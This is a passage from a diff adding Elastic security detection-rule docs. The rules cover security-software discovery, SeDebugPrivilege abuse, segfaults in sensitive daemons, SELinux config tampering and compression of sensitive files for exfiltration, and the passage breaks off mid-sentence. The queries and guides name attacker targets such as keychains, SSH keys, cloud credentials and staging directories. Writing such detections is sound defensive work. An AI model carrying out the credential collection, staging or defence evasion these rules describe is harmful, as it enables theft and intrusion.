enumeration of the security software installed on the host. Attackers can use this information to decide whether or not to infect a system, disable protections, use bypasses, etc. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence and whether they are located in expected locations. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Investigate any abnormal account behavior, such as command executions, file creations or modifications, and network connections. +- Investigate any abnormal behavior by the subject process such as network connections, file modifications, and any spawned child processes. +- Inspect the host for suspicious or abnormal behavior in the alert timeframe. +- Validate the activity is not related to planned patches, updates, network administrator activity, or legitimate software installations. + + +*False positive analysis* + + +- Discovery activities are not inherently malicious if they occur in isolation. As long as the analyst did not identify suspicious activity related to the user or host, such alerts can be dismissed. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved hosts to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +If enabling an EQL rule on a non-elastic-agent index (such as beats) for versions <8.2, +events will not define `event.ingested` and default fallback for EQL rules was not added until version 8.2. +Hence for this rule to work effectively, users will need to add a custom ingest pipeline to populate +`event.ingested` to @timestamp. +For more details on adding a custom ingest pipeline refer - https://www.elastic.co/guide/en/fleet/current/data-streams-pipeline-tutorial.html + + +==== Rule query + + +[source, js] +---------------------------------- +process where event.type == "start" and +process.name : ("grep", "egrep", "pgrep") and user.id != "0" and + not process.parent.executable : ("/Library/Application Support/*", "/opt/McAfee/agent/scripts/ma") and + process.args : + ("Little Snitch*", + "Avast*", + "Avira*", + "ESET*", + "BlockBlock*", + "360Sec*", + "LuLu*", + "KnockKnock*", + "kav", + "KIS", + "RTProtectionDaemon*", + "Malware*", + "VShieldScanner*", + "WebProtection*", + "webinspectord*", + "McAfee*", + "isecespd*", + "macmnsvc*", + "masvc*", + "kesl*", + "avscan*", + "guard*", + "rtvscand*", + "symcfgd*", + "scmdaemon*", + "symantec*", + "sophos*", + "osquery*", + "elastic-endpoint*", + "falcond*", + "SentinelOne*", + "CbOsxSensorService*", + "CbDefense*", + "WhatsYourSign*", + "reikey*", + "OverSight*", + "KextViewr*", + "Netiquette*", + "processmonitor*", + "filemonitor*" + ) and + not ( + (process.args : "Avast" and process.args : "Passwords") or + (process.args == "osquery.conf") or + (process.parent.args : "/opt/McAfee/agent/scripts/ma" and process.parent.args : "checkhealth") or + (process.command_line : ( + "grep ESET Command-line scanner, version %s -A2", + "grep -i McAfee Web Gateway Core version:", + "grep --color=auto ESET Command-line scanner, version %s -A2" + ) + ) or + (process.parent.command_line : ( + """sh -c printf "command_start_%s"*; perl -pe 's/[^ -~]/\n/g' < /opt/eset/esets/sbin/esets_scan | grep 'ESET Command-line scanner, version %s' -A2 | tail -1; printf "command_done_%s*""", + """bash -c perl -pe 's/[^ -~]/\n/g' < /opt/eset/esets/sbin/esets_scan | grep 'ESET Command-line scanner, version %s' -A2 | tail -1""" + ) + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Software Discovery +** ID: T1518 +** Reference URL: https://attack.mitre.org/techniques/T1518/ +* Sub-technique: +** Name: Security Software Discovery +** ID: T1518.001 +** Reference URL: https://attack.mitre.org/techniques/T1518/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-sedebugprivilege-enabled-by-a-suspicious-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-sedebugprivilege-enabled-by-a-suspicious-process.asciidoc new file mode 100644 index 0000000000..8fa152b497 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-sedebugprivilege-enabled-by-a-suspicious-process.asciidoc @@ -0,0 +1,157 @@ +[[prebuilt-rule-8-19-34-sedebugprivilege-enabled-by-a-suspicious-process]] +=== SeDebugPrivilege Enabled by a Suspicious Process + +Identifies a process running with a non-SYSTEM account that enables the SeDebugPrivilege privilege. Adversaries may enable this privilege to debug and modify other processes, typically reserved for system-level tasks, to escalate privileges and bypass access controls. + +*Rule type*: eql + +*Rule indices*: + +* logs-system.security* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4703 +* https://blog.palantir.com/windows-privilege-abuse-auditing-detection-and-defense-3078a403d74e + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Windows Security Event Logs +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 115 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating SeDebugPrivilege Enabled by a Suspicious Process* + + +SeDebugPrivilege is a powerful Windows privilege allowing processes to debug and modify other processes, typically reserved for system-level tasks. Adversaries exploit this to escalate privileges, bypassing security controls by impersonating system processes. The detection rule identifies suspicious processes enabling SeDebugPrivilege, excluding known legitimate processes, to flag potential privilege escalation attempts. + + +*Possible investigation steps* + + +- Review the event logs for the specific event.provider "Microsoft-Windows-Security-Auditing" and event.action "Token Right Adjusted Events" to gather more details about the process that enabled SeDebugPrivilege. +- Identify the process name from winlog.event_data.ProcessName and determine if it is known or expected in the environment. Investigate any unknown or suspicious processes. +- Check the winlog.event_data.SubjectUserSid to identify the user account associated with the process. Investigate if this account has a history of suspicious activity or if it should have the ability to enable SeDebugPrivilege. +- Analyze the parent process of the suspicious process to understand how it was initiated and if it was spawned by a legitimate or malicious process. +- Correlate the timestamp of the event with other security events or alerts to identify any related activities or patterns that could indicate a broader attack or compromise. +- Investigate the network activity of the suspicious process to determine if it is communicating with any known malicious IP addresses or domains. + + +*False positive analysis* + + +- Legitimate system maintenance tasks may trigger the rule, such as Windows Update or system diagnostics. Users can monitor the timing of these tasks and correlate them with alerts to determine if they are the cause. +- Software installations or updates using msiexec.exe might be flagged. Consider excluding msiexec.exe from the rule if it is frequently used in your environment for legitimate purposes. +- Administrative tools like taskhostw.exe and mmc.exe can sometimes enable SeDebugPrivilege during normal operations. Evaluate the necessity of these tools in your environment and exclude them if they are regularly used by trusted administrators. +- Temporary files created by legitimate applications, such as DismHost.exe in user temp directories, may be flagged. Review the context of these files and exclude them if they are part of routine application behavior. +- Regularly review and update the exclusion list to include any new legitimate processes that are identified as false positives, ensuring the rule remains effective without generating unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Terminate the suspicious process identified in the alert to stop any ongoing malicious activity and prevent privilege escalation. +- Conduct a thorough review of the affected system's event logs, focusing on the "Token Right Adjusted Events" to identify any additional unauthorized privilege changes or suspicious activities. +- Reset credentials for any accounts that may have been compromised or used by the suspicious process, especially those with elevated privileges. +- Restore the affected system from a known good backup to ensure any malicious changes are removed and the system is returned to a secure state. +- Implement additional monitoring on the affected system and similar systems to detect any recurrence of the threat, focusing on processes attempting to enable SeDebugPrivilege. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + +Audit Token Right Adjusted Events must be enabled to generate the events used by this rule. +Setup instructions: https://ela.st/audit-token-right-adjusted-events + + +==== Rule query + + +[source, js] +---------------------------------- +any where host.os.type == "windows" and event.provider: "Microsoft-Windows-Security-Auditing" and + event.action : "Token Right Adjusted Events" and + + winlog.event_data.EnabledPrivilegeList : "SeDebugPrivilege" and + + /* exclude processes with System Integrity */ + not winlog.event_data.SubjectUserSid : ("S-1-5-18", "S-1-5-19", "S-1-5-20") and + + not winlog.event_data.ProcessName : ( + "?:\\Program Files (x86)\\*", + "?:\\Program Files\\*", + "?:\\Users\\*\\AppData\\Local\\Temp\\*-*\\DismHost.exe", + "?:\\Windows\\System32\\auditpol.exe", + "?:\\Windows\\System32\\cleanmgr.exe", + "?:\\Windows\\System32\\lsass.exe", + "?:\\Windows\\System32\\mmc.exe", + "?:\\Windows\\System32\\MRT.exe", + "?:\\Windows\\System32\\msiexec.exe", + "?:\\Windows\\System32\\sdiagnhost.exe", + "?:\\Windows\\System32\\ServerManager.exe", + "?:\\Windows\\System32\\taskhostw.exe", + "?:\\Windows\\System32\\wbem\\WmiPrvSe.exe", + "?:\\Windows\\System32\\WerFault.exe", + "?:\\Windows\\SysWOW64\\msiexec.exe", + "?:\\Windows\\SysWOW64\\wbem\\WmiPrvSe.exe", + "?:\\Windows\\SysWOW64\\WerFault.exe", + "?:\\Windows\\WinSxS\\*" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Access Token Manipulation +** ID: T1134 +** Reference URL: https://attack.mitre.org/techniques/T1134/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-segfault-from-sensitive-process-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-segfault-from-sensitive-process-detected.asciidoc new file mode 100644 index 0000000000..991d986518 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-segfault-from-sensitive-process-detected.asciidoc @@ -0,0 +1,132 @@ +[[prebuilt-rule-8-19-34-segfault-from-sensitive-process-detected]] +=== Segfault from Sensitive Process Detected + +Monitors kernel logs for segfault messages from sensitive processes. A segfault, or segmentation fault, is an error that occurs when a program tries to access a memory location that it's not allowed to access, typically leading to program termination. A segfault can be an indication of malicious behavior if it results from attempts to exploit buffer overflows, inject shared objects, or other vulnerabilities in software to execute arbitrary code or disrupt its normal operation. + +*Rule type*: query + +*Rule indices*: + +* logs-system.syslog-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Execution +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Linux + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Segfault from Sensitive Process Detected* + + +This alert flags a Linux kernel-reported segmentation fault in a sensitive service or authentication-related process, which matters because unexpected crashes in these programs often mark memory corruption, exploit attempts, or deliberate disruption around privileged execution and credential handling. An attacker might feed a crafted request to sshd, sudo, pkexec, or a web daemon to trigger a crash while exploiting a buffer overflow or forcing a malicious library load to gain code execution or access secrets. + + +*Possible investigation steps* + + +- Correlate the crash timestamp with application, authentication, and reverse-proxy logs plus inbound connections to identify the exact user action, request, or source IP that immediately preceded the fault. +- Determine whether the executable and loaded libraries changed recently by comparing package version, file hashes, ownership, and recent writes in system paths, and note any recent upgrades that could explain a benign stability issue. +- Collect the core dump, journald entries, and surrounding kernel messages to extract the faulting address, signal details, stack trace, and library references, which can help distinguish a known software bug from memory-corruption or injection activity. +- Review adjacent endpoint telemetry on the same host for exploitation indicators such as abnormal child processes, privilege-escalation attempts, ptrace activity, unexpected environment manipulation, dropped shared objects, or new outbound connections after the crash. +- If the crashed service handles authentication or privileged actions, scope impact by identifying failed or successful logins, credential access attempts, service restarts, and user disruption, then isolate and patch the host if crashes recur or align with suspicious activity. + + +*False positive analysis* + + +- A legitimate package upgrade or service restart can expose a software bug in a sensitive daemon such as sshd, nginx, or sudo; verify by checking for recent version or library changes, planned maintenance, and the absence of suspicious requests or follow-on process activity around the crash time. +- An approved configuration change or normal user action can trigger an edge-case parsing error that crashes services such as httpd, rsyslogd, or openvpn; verify by reviewing recent config edits and service logs to confirm the segfault aligns with the authorized change and does not coincide with anomalous authentication or network events. + + +*Response and remediation* + + +- Isolate the affected Linux host from the network, stop the crashing sensitive service, and block the source IPs, URLs, or client requests that immediately preceded the segfault to prevent additional exploitation. +- Preserve the core dump, journald history, and the crashing binary for evidence, then escalate to incident response immediately if the crash was followed by root shell activity, successful sudo or pkexec use, access to /etc/shadow or credential stores, or similar segfaults on multiple hosts. +- Remove attacker persistence by deleting unauthorized shared objects, LD_PRELOAD entries, cron jobs, systemd units, startup scripts, web shells, modified SSH authorized_keys files, and any trojanized copies of the affected executable or its libraries. +- Restore the system to a known-good state by rebuilding from a trusted image or reinstalling affected packages from signed repositories, validate file integrity before reconnecting it, and rotate passwords, SSH keys, API tokens, and service secrets that may have been exposed on the host. +- Harden the environment by patching the vulnerable service and dependent libraries, enforcing SELinux or AppArmor and least-privilege service accounts, restricting who can read core dumps, and adding detections for repeated crashes, unexpected library loads, and child processes spawned by sensitive services. + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:linux and event.dataset:system.syslog and process.name:kernel and +message:( + segfault and ( + agetty or apache2 or atd or auditbeat or auditd or beacon-chain or besu or chage or + chfn or chsh or clef or cron or crond or dbus-broker or dbus-daemon or dnsmasq or + elastic-agent or erigon or ethrex or ethsigner or geth or getty or gpasswd or + grandine or httpd or krb5_child or ldap_child or lighthouse or lodestar or login or + logrotate or named or nethermind or newgrp or nginx or nslcd or op-batcher or + op-challenger or op-conductor or op-geth or op-node or op-proposer or openvpn or + osqueryd or passwd or pkexec or polkitd or proftpd or prysm or reth or rsyslogd or + smbd or ssh or sshd or sssd or sssd_nss or sssd_pam or su or sudo or sudoedit or + systemd-logind or teku or unix_chkpwd or vsftpd or web3signer + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Technique: +** Name: Exploitation for Credential Access +** ID: T1212 +** Reference URL: https://attack.mitre.org/techniques/T1212/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Exploitation for Client Execution +** ID: T1203 +** Reference URL: https://attack.mitre.org/techniques/T1203/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-selinux-configuration-creation-or-renaming.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-selinux-configuration-creation-or-renaming.asciidoc new file mode 100644 index 0000000000..16bf60974c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-selinux-configuration-creation-or-renaming.asciidoc @@ -0,0 +1,167 @@ +[[prebuilt-rule-8-19-34-selinux-configuration-creation-or-renaming]] +=== SELinux Configuration Creation or Renaming + +This rule detects the creation or renaming of the SELinux configuration file. SELinux is a security module that provides access control security policies. Modifications to the SELinux configuration file may indicate an attempt to impair defenses by disabling or modifying security tools. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* +* endgame-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 106 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating SELinux Configuration Creation or Renaming* + + +SELinux, a Linux kernel security module, enforces access control policies to protect systems. Adversaries may target the SELinux configuration file to disable or alter these defenses, facilitating unauthorized access or evasion of security measures. The detection rule identifies suspicious activities like file creation or renaming in the SELinux configuration path, signaling potential defense evasion attempts. + + +*Possible investigation steps* + + +- Review the alert details to confirm the event action is either "creation", "file_create_event", "rename", or "file_rename_event" and that the file path is "/etc/selinux/config". +- Check the timestamp of the event to determine when the SELinux configuration file was created or renamed. +- Identify the user account and process responsible for the action by examining the event logs for associated user and process information. +- Investigate the history of changes to the SELinux configuration file to determine if there have been any recent unauthorized modifications. +- Correlate the event with other security alerts or logs to identify any related suspicious activities or patterns on the host. +- Assess the current state of SELinux on the affected system to ensure it is configured correctly and has not been disabled or altered inappropriately. +- If unauthorized changes are confirmed, initiate a response plan to mitigate potential security risks, which may include restoring the original configuration and conducting a broader security assessment of the system. + + +*False positive analysis* + + +- Routine system updates or administrative tasks may trigger file creation or renaming events in the SELinux configuration path. Users can create exceptions for known update processes or trusted administrative scripts to prevent unnecessary alerts. +- Automated configuration management tools like Ansible, Puppet, or Chef might modify the SELinux configuration file as part of their normal operations. Users should identify and whitelist these tools to reduce false positives. +- Initial system setup or reconfiguration activities often involve legitimate changes to the SELinux configuration. Users can temporarily disable the rule during planned maintenance windows or add exceptions for specific time frames to avoid false alerts. +- Security audits or compliance checks may involve accessing or modifying SELinux settings. Users should coordinate with audit teams to recognize these activities and adjust the rule settings accordingly. +- Custom scripts or applications developed in-house that interact with SELinux settings should be reviewed and, if deemed safe, added to an exception list to minimize false positives. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or potential lateral movement by the adversary. +- Verify the integrity of the SELinux configuration file by comparing it with a known good backup. If discrepancies are found, restore the file from a trusted backup. +- Conduct a thorough review of recent user and process activity on the affected system to identify any unauthorized changes or suspicious behavior that may have led to the SELinux configuration modification. +- Re-enable SELinux enforcement if it has been disabled, and ensure that the correct security policies are applied to maintain system protection. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems may be affected. +- Implement additional monitoring on the affected system and similar systems to detect any further attempts to modify SELinux configurations or other critical security settings. +- Review and update access controls and permissions to ensure that only authorized personnel have the ability to modify SELinux configurations, reducing the risk of future unauthorized changes. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.action in ("creation", "file_create_event", "rename", "file_rename_event") +and file.path : "/etc/selinux/config" and not ( + process.name in ("dockerd", "platform-python") or + process.executable like ( + "/usr/libexec/platform-python*", "/dev/fd/3", "/usr/bin/podman", "/usr/local/cpanel/3rdparty/perl/*/bin/perl", + "/kaniko/executor", "/usr/lib/systemd/systemd", "/usr/bin/insights-client", "/bin/podman" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-sensitive-file-access-followed-by-compression.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-sensitive-file-access-followed-by-compression.asciidoc new file mode 100644 index 0000000000..45c10e60fd --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-sensitive-file-access-followed-by-compression.asciidoc @@ -0,0 +1,139 @@ +[[prebuilt-rule-8-19-34-sensitive-file-access-followed-by-compression]] +=== Sensitive File Access followed by Compression + +Detects when a sensitive file is accessed followed by the immediate creation of a compressed file in a suspicious location. This activity can indicate an attempt to collect sensitive local data and stage it for exfiltration. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Collection +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Sensitive File Access followed by Compression* + + +Data exfiltration is a critical phase of many attack campaigns where threat actors collect and stage sensitive data for transfer out of the environment. On macOS, attackers commonly target high-value files such as SSH keys, AWS credentials, browser cookies, and login keychains. This detection rule identifies a behavioral pattern where a process accesses sensitive files and subsequently creates compressed archives, which is a hallmark of data staging activity prior to exfiltration. + + +*Possible investigation steps* + + +- Review the process.entity_id and process.name fields to identify the application that accessed sensitive files and created the compressed archive. +- Examine the file.path fields in both events to determine which specific sensitive files were accessed and where the archive was created. +- Analyze the process.parent.executable and process.command_line to understand how the process was launched and whether it originated from a suspicious source. +- Check for network connection events from the same process or host shortly after the compression activity, as this may indicate attempted exfiltration. +- Investigate the user.name associated with the activity to determine if the behavior is consistent with their role and normal operations. +- Review the destination path of the compressed file to assess whether it was placed in a location commonly used for staging, such as /Users/Shared or temporary directories. +- Correlate with other security alerts on the same host to identify if this is part of a broader attack chain. + + +*False positive analysis* + + +- Legitimate backup applications may access sensitive files and create compressed archives as part of scheduled backup operations. Verify the process against known backup tools like Time Machine or third-party backup solutions. +- System administrators performing manual archiving of configuration files or credentials for secure storage may trigger this rule. Confirm with IT operations if such activities were planned. +- Development workflows may involve compressing SSH keys or credentials for transfer between development environments. Review with development teams before escalating. +- Some applications may legitimately compress browser data or credentials during migrations or exports. Verify the application's purpose and user intent. + + +*Response and remediation* + + +- Immediately isolate the affected macOS system from the network to prevent any pending data exfiltration. +- Identify and quarantine the compressed archive file to prevent it from being transferred or deleted by the attacker. +- Conduct a thorough review of the files that were accessed and compressed to assess the scope of potential data exposure. +- Rotate all credentials that may have been compromised, including SSH keys, AWS access keys, API tokens, and any passwords stored in keychains or browsers. +- Perform a forensic analysis of the system to identify the initial access vector and any persistence mechanisms. +- Review network logs and proxy data to determine if any data was successfully exfiltrated prior to detection. +- Escalate to the incident response team for further investigation if the activity appears to be part of a coordinated attack campaign. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id with maxspan=30s + [file where host.os.type == "macos" and event.action == "open" and + not file.name in~ ("System.keychain", "login.keychain-db", "preferences.plist", "com.apple.TimeMachine.plist")] + [file where host.os.type == "macos" and event.action == "modification" and + file.extension in ("zip", "gzip", "gz") and + file.path like~ ("/Users/Shared/*", "/Library/WebServer/*", "/Users/*/Library/WebServer/*", + "/Library/Graphics/*", "/Users/*/Library/Graphics/*", "/Library/Fonts/*", + "/Users/*/Library/Fonts/*", "/private/var/root/Library/HTTPStorages/*", + "/tmp/*", "/var/tmp/*", "/private/tmp/*") and + not file.path like~ ("/Library/Logs/CrashReporter/*", "/private/tmp/publish.*")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Local System +** ID: T1005 +** Reference URL: https://attack.mitre.org/techniques/T1005/ +* Technique: +** Name: Data Staged +** ID: T1074 +** Reference URL: https://attack.mitre.org/techniques/T1074/ +* Sub-technique: +** Name: Local Data Staging +** ID: T1074.001 +** Reference URL: https://attack.mitre.org/techniques/T1074/001/ +* Technique: +** Name: Archive Collected Data +** ID: T1560 +** Reference URL: https://attack.mitre.org/techniques/T1560/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-sensitive-files-compression-inside-a-container.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-sensitive-files-compression-inside-a-container.asciidoc new file mode 100644 index 0000000000..cef9d36250 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-sensitive-files-compression-inside-a-container.asciidoc @@ -0,0 +1,177 @@ +[[prebuilt-rule-8-19-34-sensitive-files-compression-inside-a-container]] +=== Sensitive Files Compression Inside A Container + +Identifies the use of a compression utility to collect known files containing sensitive information, such as credentials and system configurations inside a container. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Containers +* OS: Linux +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Collection +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux +* Domain: Endpoint + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Sensitive Files Compression Inside A Container* + + +Containers are lightweight, portable environments used to run applications consistently across different systems. Adversaries may exploit compression utilities within containers to gather and exfiltrate sensitive files, such as credentials and configuration files. The detection rule identifies suspicious compression activities by monitoring for specific utilities and file paths, flagging potential unauthorized data collection attempts. + + +*Possible investigation steps* + + +- Review the process details to confirm the use of compression utilities such as zip, tar, gzip, hdiutil, or 7z within the container environment, focusing on the process.name and process.args fields. +- Examine the specific file paths listed in the process.args to determine if they include sensitive files like SSH keys, AWS credentials, or Docker configurations, which could indicate unauthorized data collection. +- Check the event.type field for "start" to verify the timing of the process initiation and correlate it with any known legitimate activities or scheduled tasks within the container. +- Investigate the user or service account under which the process was executed to assess whether it has the necessary permissions and if the activity aligns with expected behavior for that account. +- Look for any related alerts or logs that might indicate a broader pattern of suspicious activity within the same container or across other containers in the environment. + + +*False positive analysis* + + +- Routine backup operations may trigger the rule if they involve compressing sensitive files for storage. To handle this, identify and exclude backup processes or scripts that are known and trusted. +- Automated configuration management tools might compress configuration files as part of their normal operation. Exclude these tools by specifying their process names or paths in the exception list. +- Developers or system administrators might compress sensitive files during legitimate troubleshooting or maintenance activities. Establish a process to log and review these activities, and exclude them if they are verified as non-threatening. +- Continuous integration and deployment pipelines could involve compressing configuration files for deployment purposes. Identify these pipelines and exclude their associated processes to prevent false positives. +- Security tools that perform regular audits or scans might compress files for analysis. Ensure these tools are recognized and excluded from triggering the rule. + + +*Response and remediation* + + +- Immediately isolate the affected container to prevent further data exfiltration 